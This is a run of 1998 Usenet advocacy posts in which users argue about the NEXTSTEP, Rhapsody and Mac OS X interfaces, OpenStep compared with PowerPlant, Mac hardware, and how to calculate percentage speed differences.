>: How so? Do you remember specific examples?
>
>No problem. (This is from DR1 or DR2 I should add; I've used both
>for about the same length of time before getting sick of them.)
Okay-- but you should note that the GUI of NEXTSTEP and RDR are not very
similiar in many cases.
>Those huge, delicately shaded icons. They look pretty and even
>at 1024x768 only a few of them will fit in a column on the desktop.
Under NEXTSTEP, the original machines had ~1152x860 fixed resolution
displays, and the 48x48 icons (which when tiled usually have a border of 8
pixels per side making the 64x64 size for the ellipsis, window title, etc)
were pretty reasonable.
On smaller resolution displays this is wasteful, agreed.
>Almost complete lack of visual feedback when a window (say, a
>terminal window) is engaged. A little dot appears in the close
>box and that's it.
"engaged"? You mean the broken-X display in the close box when a window is
modified?
Note that I find this to be rather elegant, since you don't usually care
until/unless you decide to close the window. Also, as a nigh-universal rule,
NEXTSTEP apps ask you to save the contents before permitting a modified
window to close.
This type of user-interface kindness was original to NEXTSTEP-- other
operating systems and apps from that time would happily quit and unsaved data
would go into the bit-bucket.
>The multi-panelled "StandardGetFile" is a minor annoyance.
[ ... ]
The browser view rocks for dealing with hierarchies. It's probably what I
miss most about NS under other operating systems. The Mac Finder and the
Windows Explorer have two modes-- the open a new window for every subdir
opened, which I despise, and their tree view, which does not display the
hierarchy structure nearly as well.
>Silly little things obviously added for no good reason:
>little arrows in dialogue box buttons (inconsistently);
>lovely, shaded toolbar-buttons in the "FileManager" instead
>of something useful like a menu bar; general use of three-
>dee, shading, highlights.
Okay-- personal preference, here.
>: I recall some people don't care for the 3D-like bezel'ing....
>
>Oh, yeah. It fits in with the general philosophy of putting
>silly things into a GUI that accomplish precisely nothing,
>while wasting screen space and requiring too many colors.
That criticism may be valid for RDR, but it surely doesn't apply to NEXTSTEP.
NS has smaller resize bars and window dressing than most other systems, and
it was originally designed and worked very well with 4 greyscale shades. In
fact, if I'm doing a lot of text work, I strongly prefer the greyscale
display to color systems.
>"Live dragging" of windows is a similarly useless gimmick--
>since the window is gonna look the same no matter where you
>drop it, what's the point of dragging the whole window around?
Ahh, there is a vital point: user interface consistency.
If possible, UI objects should have behaviors which resemble real-world
objects because these objects act the way people expect. When I move a paper
on my desk, it doesn't turn into an outline until I put it back down. Of
course, you don't want to take this ideal so far that you hamper usability or
functionality.
But real-time scrolling and opaque dragging, on machines which can do them
without slowing down or tearing excessively, has a much more convincing feel.
Consult "Tog on Interface" about this topic.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 14:21:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n0ap7$r0e$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
<6n0mol$sh2$1@flotsam.uits.indiana.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: glhansen@copper.ucs.indiana.edu
In <6n0mol$sh2$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> Better than PowerPlant? I've had people tell me they're many times happier
> and more productive with PowerPlant than working directly with the MacOS
> toolbox. How is OpenStep better than that?
Don't get me wrong, PP is a MAJOR step above programming the Toolbox!
However like most enviornments the objects tend to be rather thin. I've
looked about and there's simply nothing comparing the levbel of integration
that OS offers.
One perfect example is the coding system. Although this certainly has
problems under OS (ie, it should offer PL's) PP simply does not offer
anything. So while Coders making NSData's (another missing concept) are used
for everything from saving files, to drag-n-drop to cut-n-paste, PP has
separate interfaces for all of these. So basically you get a complete
persistance system, completely for free.
Then take a simple example like string. Under PP you get classic c strings
wrapped up. Under OS you get NSString and AttributedString, which together
offer multilingual processing, poweful search and replace, multilanguage
spell checking, conversions between character encodings, full WP level style
control, ligatures, save and load to a variety of document formats, etc. So
basically you get the world's most powerful text handling, completely for
free.
Then there's color. Again under PP you get a wrapper for the 65bit
16-16-16 color model from the Mac. On OpenStep you get a "holder" class
which can contain any sort of color, various bitwise encodings for RGB, CMYK,
named colors, Pantone, image maps, etc. Of course it includes methods to
converting from one model to the other, coding so you can drag them around
etc. So basically you get the world's most powerful color handling,
completely for free.
And image processing. PP gives you a wrapper for a Mac PICT. OpenStep
gives you an object (now you're getting the idea...) something that can hold
any sort of image format, convert it to any other, display it on anything, do
color processing, send out layers, load and save etc. So basically you get
the world's most powerful image handling, completely for free.
PP and OpenStep are, for lack of a better way to put it, completely and
utterly different. PP is an EXCELLENT "classical" system like TCL or MFC -
IMHO the best of all of those. It provides you with a reasonable to
excellent OOPS library that maps onto the OS's functionality. However
OpenStep is something different entirely. And you really owe it to yourself
to learn it. There's simply nothing like it that you can actually get
(Taligent looked similar). Basically if you have to ask this question, you
need to run out and download the docs from Apple's web site.
It is worth pointing out that PP's enviornment is SUPERB. The IDE is the
best there is anywhere that I've seen, and the compile and link times are
excellent (much better than OS).
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 25 Jun 1998 16:31:40 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2506981631400001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net>
In article <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>> How do I eject a floppy? What!?! I drag it into the TRASH!?! But that erases
>> files? Why doesn't it erase disks?
>
>That is also a legacy, and a habit. The proper method is to choose the
>"eject disk" menu item (it was formerly to choose "put away").
Actually, Put Away was new in System 7 and is the proper way to eject a
disk, unmount a removable, unmount a file server, and put a file on the
desktop back where it belongs. An early build of 7 disabled the 'drag
floppy to the trash' functionality but too many people either in Apple or
testing it complained so they put it back in.
Eject Disk leaves a pointer to the disk on the desktop and probably
shouldn't be used on any Mac with a HD.
-Bob Cassidy
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062522253900.SAA28331@ladder01.news.aol.com>
Date: 25 Jun 1998 22:25:39 GMT
Organization: AOL http://www.aol.com
References: <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net>
Yes, but what about _useful_ animated icons? Or icons which are interactive?
informative?
NeXTstep has:
a Builddisk/format disk application which animated (to inform one that it was
still working) and displayed a progress bar
an e-mail application displayed the number of unread messages
a working clock/calendar through which one can set the time/date
and more beside...
For WindowMaker, there's a CD player program which is nothing but an icon,
which displays all needful controls
also a temperature display for motherboards which support this feature
and still more
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Thu, 25 Jun 1998 11:15:11 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Ev3txB.4n9@AWT.NL>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <358e0a5e.0@nnrp1.news.uk.psi.net>
richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
>With regard to the GUI - if it wasn't worth buying, it's only because Apple have
>decided to make it that way! I guess that the market research told them that the fears
>of conservative MacOS users would cost them too many sales. I think they have made the
Yes, that has surprised me: the conservatism of Mac users on issues like these. A "we
will *not* change" attitude is often perceivable. I am new to Mac, but this was really
unexpected. Might it be because most of them only felt a force for change for the bad
(Windows) for so long?
Back to useful stuff ;-)
--G
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: Thu, 25 Jun 1998 16:57:35 -0700
Message-ID: <see-below-2506981657350001@dynamic21.pm01.mv.best.com>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com> <3592D709.DB3A7046@nstar.net>
In article <3592D709.DB3A7046@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Salvatore Denaro wrote:
>
> > Not if you wanted to keep the AIO design. How do you use a PCI card for
> > video in a machine with a monitor built in?
>
> You don't. You provide a slot for expansion that can be hooked up to
> another monitor, or a TV. History, history: the SE series had a Nubus
> expansion slot that allowed Radius full-page displays to be used. This
> was one of the configurations that made desktop publishing so popular on
> the Macintosh.
Slight correction: it wasn't NuBus (that was only in the Macintosh II), it
was some kind of PDS slot, I think. And hi-res video cards were generally
more popular for NuBus (the Mac II) than PDS (the SE) after that point.
And actually even before there were slots of any kind there were lots of
large monitors available from Radius and others, with custom installed
graphics cards. These were definitely a big presence in the days of the
Mac Plus.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 22:56:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p5lcb.gdt.sal@panix3.panix.com>
References: <6mr6lg$k2b$3@hecate.umd.edu> <B1B6B76C-1F227@206.165.43.171> <see-below-2406981630520001@dynamic48.pm05.mv.best.com> <6ms40b$qph$1@hecate.umd.edu> <slrn6p4teh.f3t.sal@panix3.panix.com> <6mtu4q$m4s$3@hecate.umd.edu> <slrn6p52mi.f3t.sal@panix3.panix.com> <6mu2c0$a5q$2@hecate.umd.edu>
On 25 Jun 1998 17:45:36 GMT, David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> wrote:
>: Fair enough. I was under the impression that the ATI card could capture
>: from regular video camcorders.
>NTSC quality? Maybe I'm thinking too high end.
from: http://www.atitech.ca/products/pc/aiw_pro/index.html
"ALL-IN-WONDER PRO lets you capture still and moving images from VCRs,
camcorders and laserdiscs, bringing digital video to any project. Make
presentations, school projects and Web sites come to life. Also supports
popular videoconferencing packages through Video for Windows capture
driver support."
and also:
"TV SET DISPLAY REQUIREMENTS
NTSC TV or VCR with S-Video or Composite Video Input
TV TUNER REQUIREMENTS
NTSC TV signal from Amplified Antenna or Cable
Foreign version also available supporting NTSC-J, PAL 1,
PAL B/G and Secam L"
Also at:
http://www.atitech.ca/products/mac/xclaimtv_new/index.html
These is a "pod" for use with g3 powermacs that will let you do video
capture and watch TV on your Mac. I assume that is makes use of the built
in ATI chip for this.
--
sal@panix.com
Salvatore Denaro
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 26 Jun 1998 19:28:58 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n0spq$dla$3@news.spacelab.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <35cb658a.49037902@news.supernews.com> <rmcassid-2406980925040001@dante.eng.uci.edu> <3592ee9e.15806083@news.supernews.com>
mdevlin@eltrax.com (T. Max Devlin) wrote:
[ ... ]
>>Why do you learn, speak, and write in English and not Latin? Latin is a
>>perfectly good language - much easier than English to learn. Much more
>>consistent. Less ambiguous. And you get a good leg up on the romance
>>languages.
>>
>>Oh, because you wouldn't understand what everyone was saying.
>>
>>Thank you for playing.
>
>I'm sorry for breaking the illusion, but are you serious? Do you
>actually think that saying "people buy PCs to use Microsoft Office" is
>anything but ignorant bullshit spouted by a fully brainwashed
>Microsoftee? Just checking.
I've been trying to stay out of this, but:
"people buy PCs to use Microsoft Office" is obviously true, at least in the
business world. As much as one might wish otherwise, lots of companies make
purchasing decisions where deploying Office for people to do work is a
primary goal.
Reality doesn't care about your personal preferences. If I had my druthers,
NEXTSTEP, EOF, WOF, and Obj-C would be the de facto computing environment for
the majority of users, but that's not the way things are. Too bad....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062620134500.QAA29325@ladder03.news.aol.com>
Date: 26 Jun 1998 20:13:45 GMT
Organization: AOL http://www.aol.com
References: <6n0rvb$dla$1@news.spacelab.net>
Tomlinson said:
>>Those huge, delicately shaded icons. They look pretty and even
>>at 1024x768 only a few of them will fit in a column on the desktop.
>
Chuck replied:
>Under NEXTSTEP, the original machines had ~1152x860 fixed resolution
>displays, and the 48x48 icons (which when tiled usually have a border of 8
>pixels per side making the 64x64 size for the ellipsis, window title, etc)
>were pretty reasonable.
I'll simply observe that the 32 x 32 icons on my 128K Mac's 9" 512 x 342 screen
were comfortably and proportionally sized, and that the 48 x 48 icons on my
NeXT are roughly the same size (but more of them fit on a 17" 1120 x 832
display). This sort of thing _should_ be scalable, and if I recall the Rhapsody
screen shot at Stepwise, there's some sort of adjustment for it--the question
is, how good/elegant is it? Without a sufficient range of icon sizes standard,
not very.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 26 Jun 1998 00:35:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6muqc0$psj$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <3591D5A7.3FE3846B@spamtoNull.com> <joe.ragosta-2506980730170001@elk69.dol.net>
In article <joe.ragosta-2506980730170001@elk69.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> You need to learn some math. I sentence you to third grade math classes.
>
> 300% of 20 fps is 60 fps.
>
> If it's 300% slower, that means it's 60 fps slower than 20, which is
> negative 40 fps.
>
> The fact that you misuse the english language so badly doesn't make it right.
And I didn't really believe the stories of how bad the American educational
system is. If everyone in the states was this stupid, you'd all be singing
O'Canada.
Saying 300% faster is the same as saying 3x faster.
Slower, in this context, is just a reciprocal relationship of faster.
So, 300% slower is the same as 1/3x faster.
(1/3) X (20) = 6 2/3
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 20:52:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6n11me$sen$1@ndnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > Well, nothing will please everyone. But I wonder if NeXTSTEP
> > was your *primary* desktop. That you were *forced* to use it,
> > and nothing else. If not, then I don't accept your month's
> > work. Whenever I can fall back, I do. And it's not because
> > one implementation is better or worse, it's because I"m more
> > comfortable with the fall back. It's human nature to go back
> > when you can.
> Eh? You don't accept my month's work. That would be funny if it
> weren't so boorish.
And that line would be clever it weren't so repetitive, droll, and empty in
its rhetoric.
> Sort of a chicken-and-egg problem, no? You've got to *love* the
> system before you understand it. You've got to *understand* the
> system before you love it. I'm more convinced than ever that most
> NEXTSTEP users simply fell in love with a screenshot and started
> using it.
Poit? That's a phantom of your creation that missess what I said. I did
*not* like NeXTSTEP when I first started using it. As I said above. And I
didn't grow to like it for several months. And I didn't like it for
several months in part, because of being used to another system that I was
still using as my *primary* system. I could never give NeXTSTEP a fair
chance till I lost the 2fx, because my lazy nature kept bringing me back to
my other system even when I could dink around with NeXTSTEP. Not till I
was forced to use it as my primary system for a while did I *get it.*
Now that doesn't mean everyone that will give it a try as their primary
system, that's forced to use it, will learn to appreciate it. Different
strokes and all that. I'm just saying it's tough to be really objective
when you're using another system you are more used to as your primary
setup.
> > When I first got my cube, I couldn't bare left scrollers. And
> > I had that and a 2fx for a while, and although I'd use the cube
> > daily, I'd shuffle back to the 2fx for a lot of things, and
> > the contrast just pissed me off more. Then the 2fx went away
> > and I had to stick with the NeXTUI, and I love left scrollers.
> Whose experience is more rational? It sounds like you're biased
> by circumstance.
I'll leave that for others to judge for themselves. I know what I think.
It doesn't bother me if you think differently. If you don't see that habit
taints people, that's just your problem. It's not my job to educate or
convince you. You will think what you will.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-2506981821000001@term1-17.vta.west.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6murqm$998$3@hole.sdsu.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 26 Jun 1998 01:27:01 GMT
NNTP-Posting-Date: Thu, 25 Jun 1998 18:27:01 PDT
In article <6murqm$998$3@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> Those huge, delicately shaded icons. They look pretty and even
> at 1024x768 only a few of them will fit in a column on the desktop.
> It's horribly, stupidly unnecessary; if you can't design a unique
> and distinctive icon in 32x32 with a handful of colors, there's
> something wrong.
I agree partially here. The icons should be able to be made smaller, but
keep the nice shading. However, it should also work in lower color
settings, although it wouldn't look as nice. Same way the MacOS allows for
three separate versions of an icon, in three separate bit depths (8, 4,
and 1 - what happened to 2?).It's a thing called choice - and it's what we
in the design industry call a "Good Thing".
[SNIP]
> general use of three-
> dee, shading, highlights.
[SNIP]
> : I recall some people don't care for the 3D-like bezel'ing....
>
> Oh, yeah. It fits in with the general philosophy of putting
> silly things into a GUI that accomplish precisely nothing,
> while wasting screen space and requiring too many colors.
> "Live dragging" of windows is a similarly useless gimmick--
> since the window is gonna look the same no matter where you
> drop it, what's the point of dragging the whole window around?
>
> The grotesque thing is that everybody has bought into this
> con game, that a "modern OS" must look as though it'd been
> sculpted from soapstone, with window borders many pixels
> wide and all the rest of it. Maybe it's all a plot on the
> part of the monitor manufacturers...
Now here's where I disageree. I *love* a nice aesthetic look *IF* it
doesn't detract from the functionality. For example, the standard Apple
"Platinum" look vs Kaleidoscope 2.0's "Mekong" scheme. Mekong _lookd_ a
whole lot nicer to my eyes, but you can still fit just as many menus in a
menubar, icons in a window, or windows on a screen. Take two screenshots
of two identical screens, except one with Mekong and one with Platinum,
and they'll overlap perfectly (except for the little grab-bars on the
corners of Mekong windows, but those are small enough not to matter). As
for live dragging, that's a nice bit of feedback, and it _looks_ better,
while not detracting from functionality (actually, I think it adds to it).
I actually prefer translucent dragging, as done by Greg Landwebber's
"Power Windows".
And I think a modern OS should look sculpted, or similarly constructed.
Photorealistic, if possible. But that doesn't neccesarily mean huge icons
and window borders. When all systems ship standard with 30" monitors, then
go ahead and throw that stuff in. But until then, it should work well on
smaller monitors as well as large ones. Another good example of this is
the menubar vs menu-window. Menubars are much better for <17" screens, but
on anything larger it's a hassle to have to drag the mouse so far, and a
menu in a window works better. Soloution? Tear-off menus and a hidable
menubar. Again, we come back to that choice thing.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-2506981825420001@term1-17.vta.west.net>
References: <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net> <rmcassid-2506981631400001@dante.eng.uci.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 26 Jun 1998 01:31:41 GMT
NNTP-Posting-Date: Thu, 25 Jun 1998 18:31:41 PDT
In article <rmcassid-2506981631400001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <forrestDELETE-THIS!-2506981448220001@term1-11.vta.west.net>,
> forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>
> >> How do I eject a floppy? What!?! I drag it into the TRASH!?! But that
erases
> >> files? Why doesn't it erase disks?
> >
> >That is also a legacy, and a habit. The proper method is to choose the
> >"eject disk" menu item (it was formerly to choose "put away").
>
> Actually, Put Away was new in System 7 and is the proper way to eject a
> disk, unmount a removable, unmount a file server, and put a file on the
> desktop back where it belongs. An early build of 7 disabled the 'drag
> floppy to the trash' functionality but too many people either in Apple or
> testing it complained so they put it back in.
>
> Eject Disk leaves a pointer to the disk on the desktop and probably
> shouldn't be used on any Mac with a HD.
Bob, you obviously don't have OS 8. The proper way now is to use Eject
Disk for removables, and Put Away for non-removables (network devices, HD
partitions, etc). Although I think it should be a generic "unmount" which
will eject the disk if it's removable, and just unmount it if not. And
then replace Put Away with an Undo-able Finder.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Date: Fri, 26 Jun 1998 13:16:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2606981316560001@wil57.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard.898797810@blue.weeg.uiowa.edu> <joe.ragosta-2506981458100001@wil45.dol.net> <6muidd$mul$1@hercules.acsu.buffalo.edu> <joe.ragosta-2506981948340001@elk82.dol.net> <6mv6ao$sps$1@xena.acsu.buffalo.edu> <joe.ragosta-2606980622310001@elk31.dol.net> <bosworth-2606981135420001@access28.accsyst.com>
In article <bosworth-2606981135420001@access28.accsyst.com>,
bosworth@waterw.com (James L. Ryan) wrote:
> In article <joe.ragosta-2606980622310001@elk31.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> [big snip]
>
> > Exactly what I did. What is 300% of 20? It's 60. That means 300% faster
> > than 20 is 80.
>
> [big snip]
>
> Is the confusion here due to the inclusion of the words "faster" and
> "slower?" If I say that B runs at 100% of the speed of A which is running
> at 20 units, then should not B be running also at 20 units. If on the
> other hand I say that B runs 100% faster than A which is running at 20
> units, then should not B be running at 40 units. The same logic holds when
> the word "slower" is included in the comparison.
That's exactly what I said....
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 26 Jun 1998 21:30:27 GMT
Organization: San Diego State University
Message-ID: <6n13tj$efl$1@hole.sdsu.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net>
Charles W. Swiger (chuck@codefab.com) wrote:
: Rhapsody's GUI is not similiar to NEXTSTEP's GUI.
In that case I'd like to apologize, as publicly and fulsomely
as possible, for making that false assumption. I had assumed,
naturally I thought, that the Rhapsody DR1 which I was sent,
and used for a time, had changed little in interface from NeXT
aside from the Macintosh-style window frames and title bars.
It looks as though this assumption turned out to be wrong.
Nevertheless I don't think my comments were entirely invalid
since the topic of this thread is the _MacOS X_ GUI, not the
NeXT GUI, and I think I may safely assume that Apple, _if_
they decide to alter the MacOS X interface, will attempt to
produce something resembling Rhapsody: an attempted fusion
of elements from Macintosh and NeXT. I have a feeling, though,
that Apple will preserve the "Platinum" look of MacOS 8 (which
I hate, but such is life.)
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 21:32:39 GMT
Organization: Indiana University, Bloomington
Message-ID: <6n141n$tvf$1@flotsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net>
In article <6n0ap7$r0e$1@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6n0mol$sh2$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> Better than PowerPlant? I've had people tell me they're many times happier
>> and more productive with PowerPlant than working directly with the MacOS
>> toolbox. How is OpenStep better than that?
...
> PP and OpenStep are, for lack of a better way to put it, completely and
>utterly different. PP is an EXCELLENT "classical" system like TCL or MFC -
>IMHO the best of all of those. It provides you with a reasonable to
>excellent OOPS library that maps onto the OS's functionality. However
>OpenStep is something different entirely. And you really owe it to yourself
>to learn it. There's simply nothing like it that you can actually get
>(Taligent looked similar). Basically if you have to ask this question, you
>need to run out and download the docs from Apple's web site.
It seems that my machine will never be able to run it. I guess that's one
more reason to upgrade when I'm able to. And when I know the new machine
I get will be supported.
How are things in the way of visual development? Like Constructor, or
better, Delphi, where you can drag peices of user interface where you want
them, and maybe get empty code written for you automatically that handles
all the user interface elements, that you can later fill with
functionality.
If that is combined with OpenStep, what more could you want in the way of
advanced programming concepts that make the programmer's job easy?
--
"Don't just do something, stand there!" - Buddha
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 16:31:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35941317.FC21AD89@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 26 Jun 1998 21:36:09 GMT
John Kheit wrote:
> > Eh? You don't accept my month's work. That would be funny if it
> > weren't so boorish.
>
> And that line would be clever it weren't so repetitive, droll, and empty in
> its rhetoric.
Draw your own conclusions. It meant something.
> Poit? That's a phantom of your creation that missess what I said. I did
> *not* like NeXTSTEP when I first started using it. As I said above. And I
